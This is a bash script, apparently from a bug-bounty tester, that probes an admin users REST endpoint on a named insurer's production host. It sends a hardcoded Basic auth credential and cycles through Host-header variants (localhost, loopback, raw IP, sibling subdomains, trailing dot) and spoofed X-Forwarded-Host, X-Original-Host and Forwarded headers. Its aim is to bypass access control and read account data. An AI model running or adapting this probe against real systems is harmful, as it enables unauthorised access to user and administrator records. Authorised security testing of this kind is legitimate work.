#!/usr/bin/env bash
p='/pc/rest/admin/v1/users/default_data:1?fields=username,active,displayName,roles'
probe(){ name="$1"; host="$2"; shift 2; f=$(mktemp); h=$(mktemp); curl -sk --path-as-is -D "$h" -o "$f" -H 'X-Bug-Bounty: dwbzn' -H 'Authorization: Basic c3U6Z3c=' -H "Host: $host" "$@" "https://gwde.baloise.de$p" >/dev/null; st=$(awk 'toupper($1) ~ /^HTTP\// {s=$2} END{print s}' "$h"); loc=$(awk 'BEGIN{IGNORECASE=1} /^Location:/{sub(/\r$/,""); print substr($0,11)}' "$h"|tail -1); ct=$(awk 'BEGIN{IGNORECASE=1} /^Content-Type:/{sub(/\r$/,""); print substr($0,15)}' "$h"|tail -1); printf '%-20s host=%-35s st=%-3s sz=%-6s sha=%s ct=%s loc=%s\n' "$name" "$host" "$st" "$(wc -c <"$f")" "$(sha256sum "$f"|cut -c1-12)" "$ct" "$loc"; rm -f "$f" "$h"; }
probe canonical gwde.baloise.de
probe with443 gwde.baloise.de:443
probe with80 gwde.baloise.de:80
probe uppercase GWDE.BALOISE.DE
probe trailingdot gwde.baloise.de.
probe ip 193.134.75.163
probe localhost localhost
probe loopback 127.0.0.1
probe mein mein-portal.baloise.de
probe ocs ocs-vertriebsservice.baloise.de
probe va va.baloise.de
probe xfhost gwde.baloise.de -H 'X-Forwarded-Host: localhost'
probe xforiginal gwde.baloise.de -H 'X-Forwarded-Host: gwde.baloise.de' -H 'X-Original-Host: localhost'
probe forwarded gwde.baloise.de -H 'Forwarded: for=127.0.0.1;host=localhost;proto=https'
